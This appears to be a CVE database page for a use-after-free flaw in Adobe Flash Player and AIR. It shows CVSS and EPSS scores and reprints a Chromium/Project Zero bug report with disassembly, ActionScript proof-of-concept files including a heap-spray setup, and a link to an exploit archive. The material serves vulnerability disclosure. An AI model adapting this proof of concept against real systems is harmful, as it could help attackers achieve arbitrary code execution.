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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160 on Windows and OS X and before 11.2.202.466 on Linux, Adobe AIR before 18.0.0.144 on Windows and before 18.0.0.143 on OS X and Android, Adobe AIR SDK before 18.0.0.144 on Windows and before 18.0.0.143 on OS X, and Adobe AIR SDK & Compiler before 18.0.0.144 on Windows and before 18.0.0.143 on OS X allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3103 and CVE-2015-3107.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
87.56%
–
–
2023-03-12
–
–
–
51.14%
–
2023-04-02
–
–
–
43.1%
–
2023-06-04
–
–
–
47.92%
–
2023-09-10
–
–
–
55.37%
–
2023-10-15
–
–
–
56.54%
–
2024-02-11
–
–
–
56.54%
–
2024-02-18
–
–
–
59.05%
–
2024-06-02
–
–
–
59.05%
–
2024-12-08
–
–
–
53.06%
–
2024-12-22
–
–
–
34.8%
–
2025-01-19
–
–
–
34.8%
–
2025-03-18
–
–
–
–
44.77%
2025-04-11
–
–
–
–
33.15%
2025-04-12
–
–
–
–
44.77%
2025-04-12
–
–
–
–
44.77,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Source: https://code.google.com/p/google-security-research/issues/detail?id=330&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=476926]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
There is a use after free vulnerability in the ActionScript 2 TextField.filters array property.
This is Issue 457278 resurrected.
VERSION
Chrome Version: [?, Flash 17.0.0.169]
Operating System: [Windows 7 x64 SP1]
REPRODUCTION CASE
When the TextField.filters array is set, Flash creates an internal array holding the filters. When the property is read, Flash iterates over this array and clones each filter. During this loop, it is possible to execute some AS2 by overriding a filter's constructor. At that moment, if the AS2 code alters the filters array, Flash frees the internal array leaving a reference to freed memory in the stack. When the execution flow resumes to the loop, a use-after-free occurs.
Note: Flash 17.0.0.169 tried to patch the previous issue by setting an "in used" flag on the targeted filter (flashplayer17_sa.exe 17.0.0.169):
.text:004D67F8 mov esi, [esp+1Ch+var_4]
.text:004D67FC push 1 ; char
.text:004D67FE mov ecx, ebp ; int
.text:004D6800 mov byte ptr [esi+0Ch], 1 // this flag was added
.text:004D6804 call xparseAS2Code
.text:004D6809 mov byte ptr [esi+0Ch], 0
And when we check the function that deletes the filters:
.text:004D66D0 push edi
.text:004D66D1 mov edi, ecx
.text:004D66D3 cmp byte ptr [edi+0Ch], 0 // check again the flag, and jump if it is set, so that the filter won't be deleted
.text:004D66D7 jnz short loc_4D6716
.text:004D66D9 cmp dword ptr [edi], 0
.text:004D66DC jz short loc_4D6708
We can bypass that feature with the following code:
flash.filters.GlowFilter = MyGlowFilter
var a = tfield.filters // set the flag to 1
--- in MyGlowFilter ---
flash.filters.GlowFilter = MyGlowFilter2
var a = _global.tfield.filters // set the flag to 1, and then set it to 0
//now we can free the filter :D, the flag is set to 0!
_global.tfield.filters = []
Tested on Flash Player standalone 17.0.0.169, the updated Chrome is not available at the time of writing.
But since the objects haven't changed too much the updated version should crash while dereferencing 0x41424344.
Can't we call that a -1day :D?
***************************************************************************
Content of FiltusPafusBis.fla
import flash.filters.GlowFilter;
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x50/4;i++) {
a2[i] = 0x41424344
}
for (var i = 0; i<0x200;i++) {
var tf:TextFormat = new TextFormat()
a1[i] = tf
}
for (var i = 0; i<0x200;i++) {
a1[i].tabStops = a2
}
var tfield:TextField = createTextField("tf",1,1,2,3,4)
var glowfilter:GlowFilter = new GlowFilter(1,2,3,4,5,6,true,true)
tfield.filters = [glowfilter]
function f() {
for (var i = 0; i<0x20;i++) {
_global.a1[0x100+i*4].tabStops = [1,2,3,4]
}
flash.filters.GlowFilter = MyGlowFilter2
var a = _global.tfield.filters
_global.tfield.filters = []
for (var i = 0; i<0x200;i++) {
_global.a1[i].tabStops = a2
}
}
_global.tfield = tfield
_global.f = f
_global.a1 = a1
_global.a2 = a2
flash.filters.GlowFilter = MyGlowFilter
var a = tfield.filters
***************************************************************************
Content of MyGlowFilter.as:
import flash.filters.GlowFilter;
class MyGlowFilter extends flash.filters.GlowFilter {
public function MyGlowFilter (a,b,c,d,e,f,g,h)
{
super(a,b,c,d,e,f,g,h);
_global.f()
}
}
***************************************************************************
Content of MyGlowFilter2.as:
import flash.filters.GlowFilter;
class MyGlowFilter2 extends flash.filters.GlowFilter {
public function MyGlowFilter2 (a,b,c,d,e,f,g,h)
{
super(a,b,c,d,e,f,g,h);
}
}
***************************************************************************
Content of FiltusPafusBis_poc.fla
import flash.filters.GlowFilter;
var tfield:TextField = createTextField("tf",1,1,2,3,4)
var glowfilter:GlowFilter = new GlowFilter(1,2,3,4,5,6,true,true)
tfield.filters = [glowfilter]
function f() {
flash.filters.GlowFilter = MyGlowFilter2
var a = _global.tfield.filters
_global.tfield.filters = []
}
_global.tfield = tfield
_global.f = f
flash.filters.GlowFilter = MyGlowFilter
var a = tfield.filters
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37847.zip